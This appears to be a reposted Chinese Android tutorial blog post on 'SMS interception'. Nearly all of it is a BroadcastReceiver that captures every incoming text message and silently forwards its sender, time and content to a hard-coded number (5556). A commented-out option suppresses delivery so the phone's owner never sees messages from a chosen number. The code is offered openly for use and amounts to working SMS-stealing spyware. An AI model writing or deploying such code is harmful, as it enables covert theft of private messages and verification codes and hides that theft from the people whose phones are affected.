博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
【慢慢学Android】:5.短信拦截
阅读量:4982 次
发布时间:2019-06-12

本文共 1363 字,大约阅读时间需要 4 分钟。

手机接收到短信后会发出一段广播

  public class SMSBroadcastReceiver extends BroadcastReceiver {     @Override     public void onReceive(Context context, Intent intent) {         Object[] pdus = (Object[])intent.getExtras().get("pdus");//获取短信内容         for(Object pdu : pdus){             byte[] data = (byte[]) pdu;//获取单条短信内容,短信内容以pdu格式存在             SmsMessage message = SmsMessage.createFromPdu(data);//使用pdu格式的短信数据生成短信对象             String sender = message.getOriginatingAddress();//获取短信的发送者             String content = message.getMessageBody();//获取短信的内容             Date date = new Date(message.getTimestampMillis());             SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");             String sendtime = format.format(date);                 SmsManager manager = SmsManager.getDefault();                 manager.sendTextMessage("5556", null,"发送人:"+sender+"-----发送时间:"+sendtime+"----内容:"+content , null, null);//把拦截到的短信发送到你指定的手机,此处为5556             //    if("number".equals(sender)){             //        abortBroadcast();             //    }                                  //如果不想让机主接收到某个号码的短信,                                                     //可以取消这段注释, number 为指定的号码                                                     //也可在此处给这个号码回复的内容。。。。。                 }     }

  

 

转载于:https://www.cnblogs.com/VortexPiggy/archive/2012/05/30/2526993.html

你可能感兴趣的文章
PAT_1008(中文)_数组元素循环右移问题
查看>>
数据库事物隔离级别通俗理解
查看>>
PHP的基本知识点
查看>>
企业IT管理员IE11升级指南【17】—— F12 开发者工具
查看>>
pager-taglib2.0中文传参乱码问题
查看>>
人生不可破的28个天规
查看>>
Protel文件转PADS文件
查看>>
C#中的变量声明
查看>>
iframe中跨域页面访问parent的方法
查看>>
curl实现多路并发请求(请求数量大时再次分割实现循环处理)
查看>>
调查问卷心得体会
查看>>
Linux文件3个时间点(access time,modify time,change time)
查看>>
深谈德国车和日本车的区别--觉得分析的还算冷静客观
查看>>
C#命名空间
查看>>
poj1655Multiplication Puzzle
查看>>
WinDebug 常用命令表【摘】
查看>>
LVS _keepalived 配置
查看>>
Django之ORM基础
查看>>
JS监听浏览器关闭事件
查看>>
[Log]ASP.NET之HttpModule 事件执行顺序
查看>>